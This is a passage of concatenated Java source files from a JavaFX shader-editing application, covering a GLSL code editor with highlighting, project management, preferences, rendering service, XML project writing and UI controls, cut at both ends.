eu.yvka.shadersloth.app.materialEditor.shaders; import eu.yvka.shadersloth.app.App; import eu.yvka.slothengine.shader.source.ShaderSource; import impl.org.controlsfx.skin.AutoCompletePopup; import javafx.beans.property.ObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.event.EventHandler; import javafx.scene.input.KeyCode; import javafx.scene.input.KeyEvent; import org.fxmisc.richtext.*; import org.fxmisc.wellbehaved.event.EventHandlerHelper; import java.util.Collection; import java.util.Collections; import java.util.regex.Matcher; import java.util.regex.Pattern; import static javafx.scene.input.KeyCombination.CONTROL_DOWN; import static org.fxmisc.wellbehaved.event.EventPattern.keyPressed; public class ShaderEditor extends CodeArea { private static final String EXAMPLE_CODE = "#version 130\n" + "\n" + "in vec3 fragmentColor;\n" + "out vec4 fragColor;\n" + "\n" + "uniform int isWireframe;\n" + "\n" + "void main() {\n" + "\t// Output color = color specified in the vertex core.shader, \n" + "\t// interpolated between all 3 surrounding vertices\n" + "\n" + "\tvec3 color = vec3(fragmentColor.r * 0.5);\n" + "\n" + "\tif (isWireframe == 1) {\n" + "\t color = 1.0 - vec3(0.1, 0.1, 0.1);\n" + "\t}\n" + "\n" + "\tfragColor = vec4(color, 1.0f);\n" + "\n" + "}\n"; private static final Pattern GLSL_KEY_WORD = Pattern.compile("(?<TYPE>int|float|vec[234]|mat[234])"); private static final int TYPE_GROUP = 1 ; private AutoCompletePopup<String> autoCompletePopup; /****************************************************************************** * * Constructors * ******************************************************************************/ public ShaderEditor(final ShaderSource source) { this(); sourceProperty().set(source); } public ShaderEditor() { super(); getStylesheets().add(App.class.getResource("css/glsl-highlighting.css").toExternalForm()); setParagraphGraphicFactory(LineNumberFactory.get(this)); textProperty().addListener((obs, oldText, newText) -> { setStyleSpans(0, computeHighlighting(newText)); }); sourceProperty().addListener((observable, oldValue, newValue) -> { replaceText(0,0, newValue.getSource()); getUndoManager().forgetHistory(); getUndoManager().mark(); }); textProperty().addListener((observable1, oldValue1, newValue1) -> { if (source != null) source.get().updateShaderSource(newValue1); }); EventHandler<? super KeyEvent> ctrlS = EventHandlerHelper.on(keyPressed(KeyCode.SPACE, CONTROL_DOWN)).act(this::onCompletion).create(); EventHandlerHelper.install(onKeyPressedProperty(), ctrlS); } /****************************************************************************** * * Methods * ******************************************************************************/ private void onCompletion(KeyEvent keyEvent) { if (autoCompletePopup == null) { autoCompletePopup = new AutoCompletePopup<>(); autoCompletePopup.getSuggestions().addAll("vec4", "sin4"); autoCompletePopup.setHideOnEscape(true); setPopupWindow(autoCompletePopup); setPopupAlignment(PopupAlignment.CARET_BOTTOM); positionCaret(getCaretPosition() + 1); positionCaret(getCaretPosition() - 1); } autoCompletePopup.show(this.getScene().getWindow()); } private StyleSpans<? extends Collection<String>> computeHighlighting(String text) { StyleSpansBuilder<Collection<String>> spansBuilder = new StyleSpansBuilder<>(); Matcher typeMatcher = GLSL_KEY_WORD.matcher(text); int lastKwEnd = 0; while (typeMatcher.find()) { spansBuilder.add(Collections.emptyList(), typeMatcher.start() - lastKwEnd); if (typeMatcher.group(TYPE_GROUP) != null) { spansBuilder.add(Collections.singleton("type"), typeMatcher.end() - typeMatcher.start()); } else { spansBuilder.add(Collections.singleton("text"), typeMatcher.end() - typeMatcher.start()); } lastKwEnd = typeMatcher.end(); } spansBuilder.add(Collections.emptyList(), text.length() - lastKwEnd); return spansBuilder.create(); } /****************************************************************************** * * Properties * ******************************************************************************/ private ObjectProperty<ShaderSource> source; public ObjectProperty<ShaderSource> sourceProperty() { if (source == null) { source = new SimpleObjectProperty<>(this, "source"); } return source; } } ``` ControllerLoaderException.java ```package eu.yvka.shadersloth.share.controller; /** * Indicates error which happens during the controllers creation. */ public class ControllerLoaderException extends Exception { private static final long serialVersionUID = 1L; public ControllerLoaderException(String message) { super(message); } public ControllerLoaderException() { } public ControllerLoaderException(String message, Throwable cause) { super(message, cause); } public ControllerLoaderException(Throwable cause) { super(cause); } public ControllerLoaderException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { super(message, cause, enableSuppression, writableStackTrace); } } ``` NodeUtils.java ```package eu.yvka.shadersloth.share.utils; import javafx.geometry.Bounds; import javafx.geometry.HPos; import javafx.geometry.VPos; import javafx.scene.Node; import javafx.scene.Parent; import javafx.scene.layout.Region; import javafx.scene.text.Font; import javafx.scene.text.Text; import javafx.scene.text.TextBoundsType; import java.util.Arrays; import java.util.List; import java.util.function.Supplier; public class NodeUtils { public static void centerNode(Node node) { Parent parent = node.getParent(); centerNode(node, parent); } public static void centerNode(Node node, Node parent) { Bounds nodeBounds = node.getLayoutBounds(); Bounds nodeParent = parent.getLayoutBounds(); if (parent != null) { node.setTranslateX((nodeParent.getWidth() - nodeBounds.getWidth()) * 0.5); node.setTranslateY((nodeParent.getHeight() - nodeBounds.getHeight()) * 0.5); } } public static double computeXOffset(double width, double contentWidth, HPos hpos) { if (hpos == null) { return 0; } switch(hpos) { case LEFT: return 0; case CENTER: return (width - contentWidth) / 2; case RIGHT: return width - contentWidth; default: return 0; } } public static double computeYOffset(double height, double contentHeight, VPos vpos) { if (vpos == null) { return 0; } switch(vpos) { case TOP: return 0; case CENTER: return (height - contentHeight) / 2; case BOTTOM: return height - contentHeight; default: return 0; } } public static double computeTextWidth(Font font , String text, double wrappingWidth) { Text textLayout = new Text(); textLayout.setWrappingWidth(wrappingWidth); textLayout.setFont(font); textLayout.setText(text); return textLayout.getLayoutBounds().getWidth(); } public static double computeTextHeight(Font font, String text, double wrappingWidth, TextBoundsType boundsType) { return computeTextHeight(font, text, wrappingWidth, 0, boundsType); } public static double computeTextHeight(Font font, String text, double wrappingWidth, double lineSpacing, TextBoundsType boundsType) { return computeTextHeight(font, text, wrappingWidth, lineSpacing, boundsType, null); } public static double computeTextHeight(Font font, String text, double wrappingWidth, double lineSpacing, TextBoundsType boundsType, String style) { if (style == null) style = ""; Text textLayout = new Text(); textLayout.setText(text); textLayout.setWrappingWidth(wrappingWidth); textLayout.setLineSpacing(lineSpacing); textLayout.setBoundsType(boundsType); textLayout.setStyle(style); return textLayout.getLayoutBounds().getHeight(); } public static final void printSizeInfo(final Region node) { printSizeInfo(node, null); } public static final void printSizeInfo(final Region node, String alternativeName) { Supplier<String> nameSupplier = () -> { String name = alternativeName == null? node.getId() : alternativeName; if (name == null) { name = node.getClass().getSimpleName(); } return name; }; final String nodeName = nameSupplier.get(); List<String> sizeProperties = Arrays.asList("Width", "Height"); List<String> sizeAttributes = Arrays.asList("Min", "Pref", "Max"); /* Print all size information about a node */ sizeAttributes.stream() .flatMap((attr) -> sizeProperties.stream().map((prop) -> "get" + attr + prop )) .forEach((method) -> { try { System.out.println(nodeName + "." + method + "() = " + ReflectionUtils.invokeMethod(node, method)); } catch (NoSuchMethodException e) { e.printStackTrace(); } }); System.out.println(nodeName + ".getLayoutBounds() = " + node.getLayoutBounds()); } } ``` Controllers.java ```package eu.yvka.shadersloth.share.controller; import eu.yvka.shadersloth.share.context.ViewContext; import eu.yvka.shadersloth.share.utils.ReflectionUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.annotation.PreDestroy; import java.util.HashMap; import java.util.Map; /** * Controller Registry */ public class Controllers { private static final Logger Log = LoggerFactory.getLogger(Controllers.class); /****************************************************************************** * * Fields * ******************************************************************************/ private static Controllers INSTANCE; private Map<Class<? extends AbstractController>, ViewContext> controllerMap; /****************************************************************************** * * Constructors * ************************************************************************F******/ private Controllers() { controllerMap = new HashMap<>(); } public synchronized static Controllers getInstance() { if (INSTANCE == null) { INSTANCE = new Controllers(); } return INSTANCE; } public void registerController(Class<? extends AbstractController> controllerType) { if (! controllerMap.containsKey(controllerType)) { String controllerName = controllerType.getSimpleName(); try { Log.info("Register " + controllerType.getSimpleName()); AbstractController controllerInstance = (AbstractController) controllerType.newInstance(); controllerMap.put(controllerType, controllerInstance.getContext()); } catch (InstantiationException | ControllerLoaderException | IllegalAccessException e ) { throw new IllegalStateException("Failed to register " + controllerType.getSimpleName(), e); } } }; public void unregisterController(Class<? extends AbstractController> controllerType) { if (controllerMap.containsKey(controllerType)) { ViewContext ctx = controllerMap.remove(controllerType); Log.debug("Shutdown controller {}", controllerType.getName()); } }; public <T extends AbstractController> T get(Class<T> controllerType) { ViewContext<T> ctx = getContext(controllerType); return ctx != null ? ctx.getController() : null; } public <T extends AbstractController> ViewContext<T> getContext(Class<T> controllerType) { if (controllerMap.containsKey(controllerType)) { return controllerMap.get(controllerType); } return null; } public void unregister() { controllerMap.forEach((controllerCls, ctx) -> { Log.debug("Shutdown controller {}", controllerCls.getName()); ReflectionUtils.invokeMethodsWithAnnotation(controllerCls, ctx.getController(), PreDestroy.class); }); controllerMap.clear(); } } ``` FXMLViewContext.java ```package eu.yvka.shadersloth.share.controller.annotations; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * Indicates a field which should obtain a {@link net.sharksystem.sharknet.javafx.context.net.sharksystem.sharknet.javafx.context.ViewContext} */ @Target(ElementType.FIELD) @Retention(RetentionPolicy.RUNTIME) public @interface FXMLViewContext { } ``` CellUtils.java ```package eu.yvka.shadersloth.share.utils; import javafx.scene.Node; import javafx.scene.control.*; import javafx.scene.input.KeyCode; import javafx.scene.layout.HBox; import javafx.util.StringConverter; /** * An convenient helper for implementing * cells. */ public class CellUtils { /*************************************************************************** * * * TextField Helpers * * * ***************************************************************************/ public static <T> void updateItem(final Cell<T> cell, final StringConverter<T> converter, final TextField textField) { updateItem(cell, converter, null, null, textField); } public static <T> void updateItem(final Cell<T> cell, final StringConverter<T> converter, final HBox hbox, final Node graphic, final TextField textField) { if (cell.isEmpty()) { cell.setGraphic(null); cell.setText(null); } else { if (cell.isEditing()) { if (textField != null) { textField.setText(getItemText(cell, converter)); } cell.setText(null); if (graphic != null) { hbox.getChildren().setAll(graphic, textField); cell.setGraphic(hbox); } else { cell.setGraphic(textField); } } else { cell.setText(getItemText(cell, converter)); cell.setGraphic(graphic); } } } public static <T> TextField createTextField(Cell<T> cell, StringConverter<T> converter) { final TextField textField = new TextField(converter.toString(cell.getItem())); textField.setOnAction((event) -> { if (converter == null) { throw new IllegalStateException( "Attempting to convert text input into Object, but provided " + "StringConverter is null. Be sure to set a StringConverter " + "in your cell factory."); } cell.commitEdit(converter.fromString(textField.getText())); event.consume(); }); textField.setOnKeyReleased((event) -> { if (KeyCode.ESCAPE.equals(event.getCode())) { cell.cancelEdit(); } event.consume(); }); return textField; } public static <T> void startEdit(final Cell<T> cell, final StringConverter<T> converter, TextField textField, final HBox hBox, Node graphic) { if (textField != null) { textField.setText(getItemText(cell, converter)); } cell.setText(null); if (graphic != null) { hBox.getChildren().addAll(graphic, textField); cell.setGraphic(hBox); } else { cell.setGraphic(textField); } if (textField != null) { textField.requestFocus(); textField.selectAll(); } } public static <T> void cancelEdit(Cell<T> cell, final StringConverter<T> converter, Node graphic) { cell.setText(getItemText(cell, converter)); cell.setGraphic(graphic); } public static <T> String getItemText(Cell<T> cell, StringConverter<T> converter) { if (converter == null) { return cell.getItem() == null ? "" : cell.getItem().toString(); } return converter.toString(cell.getItem()); } } ``` ProjectManager.java ```package eu.yvka.shadersloth.app.project; import eu.yvka.shadersloth.app.AppFolder; import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderTemplateHelper; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.share.controls.FileAlreadyExistsDialog; import eu.yvka.slothengine.geometry.Mesh; import eu.yvka.slothengine.geometry.primitives.Cube; import eu.yvka.slothengine.material.BasicMaterial; import eu.yvka.slothengine.material.MaterialManager; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.scene.camera.FreeCamera; import eu.yvka.slothengine.scene.light.PointLight; import eu.yvka.slothengine.shader.Shader; import eu.yvka.slothengine.utils.NameAlreadyInUseException; import javafx.application.Application; import javafx.beans.property.ObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.event.ActionEvent; import javafx.scene.control.Button; import javafx.scene.control.ButtonType; import javafx.scene.control.Dialog; import javafx.scene.control.TextInputDialog; import javafx.stage.Stage; import org.apache.commons.io.FileUtils; import org.apache.commons.io.IOUtils; import org.joml.Vector3f; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Optional; import static eu.yvka.shadersloth.share.I18N.I18N.getString; /** * @Author Yves Kaufmann * @since 14.07.2016 */ public class ProjectManager { private static final Logger Log = LoggerFactory.getLogger(ProjectManager.class); /****************************************************************************** * * Fields * ******************************************************************************/ /*** * The current active project */ private ObjectProperty<Project> currentProject; /****************************************************************************** * * Methods * ******************************************************************************/ /*** * Creates a empty project * * @return */ public Project createNewProject() { boolean isInitialProject = currentProject == null || currentProject.get() == null; ProjectCreateDialog projectCreateDialog = new ProjectCreateDialog(isInitialProject); Optional<String> projectNameOpt = projectCreateDialog.showAndWait(); if (projectNameOpt.isPresent()) { final String projectName = projectNameOpt.get(); final ProjectImpl project = new ProjectImpl(); project.setName(projectName); // remove the old project folder if it exists File projectFolder = project.getProjectFolder(); if (projectFolder.exists()) { try { FileUtils.deleteDirectory(projectFolder); } catch (IOException e) { Log.warn("Failed to remove old project folder"); return null; } } if (projectFolder.mkdirs()) { setCurrentProject(project); Shader defaultShader = ShaderTemplateHelper.createShader(projectFolder, "Phong", true); BasicMaterial mat = new BasicMaterial(defaultShader); Geometry geometry = new Geometry("Box"); geometry.setMesh(new Cube()); geometry.setScale(1.0f); geometry.setMaterial(mat); PointLight pointLight = new PointLight("PointLight"); pointLight.setPosition(new Vector3f(0.0f, 2.0f, -2.0f)); pointLight.setColor(new Color(1.0f, 0.0f, 0.0f, 1.0f)); pointLight.setAttenuation(100.0f); final Scene scene = project.getScene(); scene.getCamera().setPosition(5f, 5f, 5f); if (scene.getCamera() instanceof FreeCamera) { ((FreeCamera) scene.getCamera()).setTarget(new Vector3f(0.0f, 0.0f, 0.0f)); } scene.add(geometry); scene.add(pointLight); project.getMaterials().add(mat); return project; } } return null; }; /** * Save the specified project. * * @param project the project to save. */ public void save(Project project) { } /** * Load the specified project. * * @param projectDirectory the directory containing project * @return the loaded project or null if the loading failed. */ public Project load(File projectDirectory) { return null; } /****************************************************************************** * * Properties * ******************************************************************************/ /*** * Retrieve the current project. * * @return the currently active project */ public Project getCurrentProject() { return currentProjectProperty().get(); } /*** * Returns a property which contains * the current active project. * * @return a property which contains the current project */ public ObjectProperty<Project> currentProjectProperty() { if (currentProject == null) { currentProject = new SimpleObjectProperty<>(this, "currentProject", null); } return currentProject; } /*** * Specifies the current active project. * * @param currentProject the currently active project */ public void setCurrentProject(Project currentProject) { currentProjectProperty().set(currentProject); } } ``` GlobalUserPreferences.java ```package eu.yvka.shadersloth.app.preferences; import java.io.File; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.prefs.Preferences; /** * @Author Yves Kaufmann * @since 13.07.2016 */ public class GlobalUserPreferences { /****************************************************************************** * * Constants * ******************************************************************************/ public static final String RECENT_OPENED_PROJECTS = "recentOpenedProjects"; private static final int MAX_RECENT_PROJECTS = 15; /****************************************************************************** * * Fields * ******************************************************************************/ /*** * Holds all preferences for */ private Preferences rootUserPreferences; /** * List of recent opened projects */ private List<String> recentOpenedProjects = new ArrayList<>(); /** * Create and load preferences. */ public GlobalUserPreferences() { rootUserPreferences = Preferences.userNodeForPackage(GlobalUserPreferences.class).node("ShaderSloth"); } /** * Returns the list of recent opened projects. * * @return a list of strings which are absolute paths to recent opened projects */ public List<String> getRecentOpenedProjects() { return recentOpenedProjects; } public void addRecentOpenedProject(String path) { addRecentOpenedProjects(Arrays.asList(path)); } public void addRecentOpenedProjects(List<String> filePaths) { for (String path : filePaths) { if (recentOpenedProjects.contains(path)) { recentOpenedProjects.remove(path); } recentOpenedProjects.add(0, path); } while (recentOpenedProjects.size() > MAX_RECENT_PROJECTS) { recentOpenedProjects.remove(recentOpenedProjects.size() - 1); } writeToJavaPreference(RECENT_OPENED_PROJECTS); } public void removeRecentOpenedProjects(List<String> filePaths) { filePaths.forEach(recentOpenedProjects::remove); writeToJavaPreference(RECENT_OPENED_PROJECTS); } public void clearRecentOpenedProjects() { recentOpenedProjects.clear(); writeToJavaPreference(RECENT_OPENED_PROJECTS); } /** * Writes a specified property to a preferences, * which means that the state of this property * will be persisted. * * @param propertyToWrite the identifier of the property which should be persisted */ public void writeToJavaPreference(String propertyToWrite) { switch (propertyToWrite) { case RECENT_OPENED_PROJECTS: { rootUserPreferences.put(RECENT_OPENED_PROJECTS, String.join(File.pathSeparator, recentOpenedProjects)); } break; } } /** * Reads all properties from a preferences. * */ public void readFromJavaPreference() { final String recentItemsString = rootUserPreferences.get(RECENT_OPENED_PROJECTS, ""); final String[] recentItemsArray = recentItemsString.split(File.pathSeparator); recentOpenedProjects.clear(); recentOpenedProjects.addAll(Arrays.asList(recentItemsArray)); } } ``` ExceptionUtils.java ```package eu.yvka.shadersloth.share.utils; public class ExceptionUtils { ExceptionUtils() { } public static String getFileLocationOfTraceElement(Throwable throwable, int index) { assert index > 0; StackTraceElement[] stackTrace = throwable.getStackTrace(); if (stackTrace != null && stackTrace.length >=index) { return ExceptionUtils.toFileLocationString(stackTrace[index]); } return ""; } public static String toFileLocationString(StackTraceElement stackTraceElement) { String file = stackTraceElement.getFileName(); String line = Integer.toString(stackTraceElement.getLineNumber(), 10); return ("(" + String.join(":", file, line) + ")"); } } ``` RenderService.java ```package eu.yvka.shadersloth.app.renderView; import eu.yvka.slothengine.engine.AppSettings; import eu.yvka.slothengine.engine.JavaFXOffscreenSupport; import eu.yvka.slothengine.scene.Scene; import javafx.beans.property.ObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.concurrent.Service; import javafx.concurrent.Task; import javafx.scene.image.ImageView; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.concurrent.*; /** * A service which is responsible to render * the rendering preview view. * * @Author Yves Kaufmann * @since 30.06.2016 */ public class RenderService extends Service<Void> { private static final Logger Log = LoggerFactory.getLogger(RenderService.class); /****************************************************************************** * * Fields * ******************************************************************************/ private final CountDownLatch runningLatch = new CountDownLatch(1); private final ImageView renderView; private ShaderSlothRenderer rendererLoop; /****************************************************************************** * * Constructors * ******************************************************************************/ public RenderService(ImageView renderView) { this.renderView = renderView; setExecutor(Executors.newSingleThreadExecutor(runnable -> { Thread thread = new Thread(runnable); thread.setName("Renderer Thread"); thread.setDaemon(true); thread.setPriority(Thread.MAX_PRIORITY); return thread; })); } /****************************************************************************** * * Methods * ******************************************************************************/ @Override protected void cancelled() { runningLatch.countDown(); } @Override protected Task<Void> createTask() { return new Task<Void>() { @Override protected Void call() throws Exception { AppSettings settings = new AppSettings(); settings.set(AppSettings.Width, (int) renderView.getFitWidth()); settings.set(AppSettings.Height, (int) renderView.getFitHeight()); settings.set(JavaFXOffscreenSupport.JAVAFX_OFFSCREEN_SUPPORT, new JavaFXOffscreenSupport(renderView, runningLatch)); rendererLoop = new ShaderSlothRenderer(); try { rendererLoop.start(settings); } catch (Exception ex) { Log.error("Detected a exception in the renderer", ex); cancel(false); setException(ex); } return null; } }; } /****************************************************************************** * * Properties * ******************************************************************************/ private ObjectProperty<Scene> scene; /** * Specifies which scene should be rendered by the renderer. */ public ObjectProperty<Scene> sceneProperty() { if (scene == null) { scene = new SimpleObjectProperty<Scene>(this, "scene") { @Override protected void invalidated() { if (rendererLoop != null) { rendererLoop.setActiveScene(scene.get()); } } }; } return scene; } public Scene getScene() { return scene == null ? null : scene.get(); } public void setScene(Scene sceneToRender) { sceneProperty().setValue(sceneToRender); } } ``` XMLProjectWriter.java ```package eu.yvka.shadersloth.app.project; import eu.yvka.slothengine.material.Material; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Node; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.scene.camera.Camera; import eu.yvka.slothengine.scene.light.AmbientLight; import eu.yvka.slothengine.scene.light.Light; import eu.yvka.slothengine.scene.light.LightList; import eu.yvka.slothengine.scene.light.PointLight; import eu.yvka.slothengine.texture.Texture; import org.joml.Quaternionf; import org.joml.Vector3f; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.xml.stream.FactoryConfigurationError; import javax.xml.stream.XMLOutputFactory; import javax.xml.stream.XMLStreamException; import javax.xml.stream.XMLStreamWriter; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.util.List; import static eu.yvka.shadersloth.app.project.ProjectConstants.*; /** * * @Author Yves Kaufmann * @since 15.07.2016 */ public class XMLProjectWriter implements ProjectWriter { private static final Logger Log = LoggerFactory.getLogger(XMLProjectWriter.class); private XMLOutputFactory outputFactory; private XMLStreamWriter writer; public XMLProjectWriter() { try { outputFactory = XMLOutputFactory.newFactory(); } catch (FactoryConfigurationError ex) { throw new IllegalStateException("Failed to initiate xml writer factory", ex); } } @Override public void saveProject(final Project project) throws IOException { if (writer != null ) throw new IllegalStateException("project writing is already in progress"); final File projectFolder = project.getProjectFolder(); final File projectFile = new File(projectFolder, ProjectReader.DEFAULT_PROJECT_FILE); try (FileOutputStream fo = new FileOutputStream(projectFile)) { writer = outputFactory.createXMLStreamWriter(fo, "UTF-8"); // writer = new IndentingXMLStreamWriter(writer); writer.writeStartDocument(); writeProject(project); writer.writeEndDocument(); writer.flush(); writer.close(); } catch (IOException ex) { Log.error("Failed to save project file " + projectFile.getAbsolutePath(), ex); throw ex; } catch (XMLStreamException ex) { Log.error("Failed to write project xml file", ex); throw new IOException("failed to write project xml file", ex); } finally { writer = null; } } private void writeProject(final Project project) throws XMLStreamException { writer.writeStartElement(ProjectConstants.PROJECT_TAG); writer.writeAttribute(PROJECT_ATTR_NAME, project.getName()); writer.writeAttribute(PROJECT_ATTR_FOLDER, project.getProjectFolder().getAbsolutePath()); writeScene(project.getScene()); writeMaterials(project.getMaterials()); writeTextures(project.getTextures()); writer.writeEndElement(); } private void writeScene(final Scene scene) throws XMLStreamException { writer.writeStartElement(SCENE_TAG); writeCamera(scene.getCamera()); writeLights(scene.getLightList()); writeNodes(scene.getRootNode()); writer.writeEndElement(); } private void writeMaterials(List<Material> materials) { // TODO: write materials } private void writeTextures(List<Texture> textures) { // TODO: write textures } private void writeCamera(final Camera camera) throws XMLStreamException { writer.writeStartElement(CAMERA_TAG); writer.writeAttribute(CLASS_ATTR, camera.getClass().getName()); writeVectorTag(POSITION_TAG, camera.getPosition()); writeVectorTag(DIRECTION_TAG, camera.getDirection()); writer.writeEndElement(); } private void writeLights(LightList lightList) throws XMLStreamException { writer.writeStartElement(LIGHTS_TAG); for(Light light : lightList) { writeLight(light); } writer.writeEndElement(); } private void writeLight(Light light) throws XMLStreamException { writer.writeStartElement(LIGHT_TAG); writeNodeAttr(light); writeLightAttr(light); writeNodeTags(light); writeLightTags(light); writer.writeEndElement(); } private void writeLightAttr(Light light) throws XMLStreamException { writer.writeAttribute(LIGHT_ATTR_TYPE, light.getType().name()); } private void writeLightTags(Light light) throws XMLStreamException { writeNumberTag(LIGHT_ATTENTION_TAG, light.getAttenuation()); writeColorTag(COLOR_TAG, light.getColor()); if (light instanceof PointLight) { // todo: point light handling } else if (light instanceof AmbientLight) { // todo: ambient light handling } } private void writeNodes(Node rootNode) throws XMLStreamException { writer.writeStartElement(NODES_TAG); writeNode(rootNode); writer.writeEndElement(); } private void writeNode(Node node) throws XMLStreamException { assert node != null; writer.writeStartElement(NODE_TAG); writeNodeAttr(node); if (node instanceof Light) { final Light light = (Light) node; writeLightAttr(light); writeLightTags(light); } if (node instanceof Geometry) { final Geometry geometry = (Geometry) node; writeBooleanAttribute("visible", geometry.isVisible()); // todo: geometry persistence // todo: material persistence } writeNodeTags(node); List<Node> children = node.getChildren(); if (! children.isEmpty()) { writer.writeStartElement(CHILDREN_TAG); for (Node child: children) { writeNode(child); } writer.writeEndElement(); } writer.writeEndElement(); } private void writeNodeTags(Node node) throws XMLStreamException { writeVectorTag(POSITION_TAG, node.getPosition()); writeVectorTag(SCALE_TAG, node.getScale()); writeQuaternionTag(ROTATION_TAG, node.getRotation()); } private void writeNodeAttr(Node node) throws XMLStreamException { writer.writeAttribute(ID_ATTR, node.getId()); writer.writeAttribute(CLASS_ATTR, node.getClass().getName()); } private void writeVectorTag(String tagName, final Vector3f position) throws XMLStreamException { assert position != null; writer.writeStartElement(tagName); writeNumberAttribute(VECTOR_ATTR_X, position.x); writeNumberAttribute(VECTOR_ATTR_Y, position.y); writeNumberAttribute(VECTOR_ATTR_Z, position.z); writer.writeEndElement(); } private void writeColorTag(String tagName, Color color) throws XMLStreamException { assert color != null; writer.writeStartElement(tagName); writeNumberAttribute(COLOR_ATTR_R, color.getRed()); writeNumberAttribute(COLOR_ATTR_G, color.getGreen()); writeNumberAttribute(COLOR_ATTR_B, color.getBlue()); writeNumberAttribute(COLOR_ATTR_A, color.getAlpha()); writer.writeEndElement(); } private void writeQuaternionTag(String tagName, Quaternionf rotation) throws XMLStreamException { assert rotation != null; writer.writeStartElement(tagName); writeNumberAttribute(VECTOR_ATTR_X, rotation.x); writeNumberAttribute(VECTOR_ATTR_Y, rotation.y); writeNumberAttribute(VECTOR_ATTR_Z, rotation.z); writeNumberAttribute(VECTOR_ATTR_W, rotation.w); writer.writeEndElement(); } private void writeNumberTag(String tagName, Number number) throws XMLStreamException { writer.writeStartElement(tagName); writeNumberAttribute(VALUE_ATTR, number); writer.writeEndElement(); } private void writeNumberAttribute(String name, Number number) throws XMLStreamException { String numberString = toString(number); writer.writeAttribute(name, numberString); } private void writeBooleanAttribute(String attrName, boolean visible) throws XMLStreamException { String booleanString = Boolean.toString(visible); writer.writeAttribute(attrName, booleanString); } private String toString(Number number) { float numVal = number.byteValue(); return Float.toString(numVal); } } ``` MessageBanner.java ```package eu.yvka.shadersloth.app.controls; import javafx.scene.control.Label; import org.controlsfx.validation.ValidationMessage; import org.controlsfx.validation.ValidationSupport; import static java.util.stream.Collectors.joining; /** * Displays messages to the user or shows * validation error messages. * * @Author Yves Kaufmann * @since 08.07.2016 */ public class MessageBanner extends Label { enum MessageType { INFO, WARNING, ERROR } /****************************************************************************** * * Constructors * ******************************************************************************/ /** * Creates a hidden message banner */ public MessageBanner() { getStyleClass().addAll("message-banner"); managedProperty().bind(visibleProperty()); hide(); } /****************************************************************************** * * Methods * ******************************************************************************/ /** * Shows this message banner with the specified message. * * @param message the message to show the user. */ public void show(String message) { setText(message); setVisible(true); } /** * Shows validation messages to a user if the passed * validation is invalid. */ public void show(ValidationSupport validationSupport) { if (validationSupport.isInvalid()) { String messages = validationSupport .getValidationResult().getErrors() .stream().map(ValidationMessage::getText) .sorted().collect(joining("\n")); show(messages); } } /** * Hide this message banner. */ public void hide() { setText(""); setVisible(false); } } ``` ShaderError.java ```package eu.yvka.shadersloth.app.materialEditor.shaders.errors; import eu.yvka.slothengine.shader.source.ShaderSource; import javafx.beans.property.*; /** * @author Yves Kaufmann * @since 18.07.2016 */ public class ShaderError { /****************************************************************************** * * Fields * ******************************************************************************/ private StringProperty description; private StringProperty shaderName; private IntegerProperty lineNumber; private ObjectProperty<ShaderSource> source; /****************************************************************************** * * Constructor * ******************************************************************************/ ShaderError(String error, String name, Integer line, ShaderSource source) { description = new SimpleStringProperty(this, "description", error); shaderName = new SimpleStringProperty(this, "shaderName", name); lineNumber = new SimpleIntegerProperty(this, "lineNumber", line); this.source = new SimpleObjectProperty<ShaderSource>(source); } /****************************************************************************** * * Properties * ******************************************************************************/ public String getDescription() { return description.get(); } public StringProperty descriptionProperty() { return description; } public void setDescription(String description) { this.description.set(description); } public String getShaderName() { return shaderName.get(); } public StringProperty shaderNameProperty() { return shaderName; } public void setShaderName(String shaderName) { this.shaderName.set(shaderName); } public int getLineNumber() { return lineNumber.get(); } public IntegerProperty lineNumberProperty() { return lineNumber; } public void setLineNumber(int lineNumber) { this.lineNumber.set(lineNumber); } public ShaderSource getSource() { return source.get(); } public ObjectProperty<ShaderSource> sourceProperty() { return source; } } ``` NumberInput.java ```package eu.yvka.shadersloth.app.controls; import eu.yvka.shadersloth.app.controls.number.NumberInputSkin; import javafx.beans.property.*; import javafx.scene.control.Skin; import javafx.scene.control.TextField; import java.text.NumberFormat; public class NumberInput extends TextField { public static final String DEFAULT_STYLE_CLASS = "numberInput"; public NumberInput() { setValue(0); setLabel(""); setFocusTraversable(false); initialize(); } public NumberInput( String label, double value) { setValue(value); setLabel(label); initialize(); } public NumberInput(String label, double value, double minValue, double maxValue) { setLabel(label); setValue(value); setMinValue(minValue); setMaxValue(maxValue); initialize(); } private void initialize() { getStyleClass().setAll(DEFAULT_STYLE_CLASS); } /** * The current value of this number input controls. */ private DoubleProperty value; public void setValue(double value) { valueProperty().set(value); } public double getValue() { return value == null ? 0 : value.getValue(); } public DoubleProperty valueProperty() { if (value == null) { value = new DoublePropertyBase(0.0) { @Override protected void invalidated() { super.invalidated(); } @Override public Object getBean() { return NumberInput.this; } @Override public String getName() { return "value"; } }; } return value; } /** * Minimum Value */ private DoubleProperty minValue; public DoubleProperty minValueProperty() { if (minValue == null) { minValue = new DoublePropertyBase(Double.NEGATIVE_INFINITY) { @Override public Object getBean() { return NumberInput.this; } @Override public String getName() { return "minValue"; } }; } return minValue; } public void setMinValue(double minValue) { minValueProperty().set(minValue); } public double getMinValue() { return minValue == null ? Double.MIN_VALUE : minValue.getValue(); } /** * Minimum Value */ private DoubleProperty maxValue; public DoubleProperty maxValueProperty() { if (maxValue == null) { maxValue = new DoublePropertyBase(Double.MAX_VALUE) { @Override public Object getBean() { return NumberInput.this; } @Override 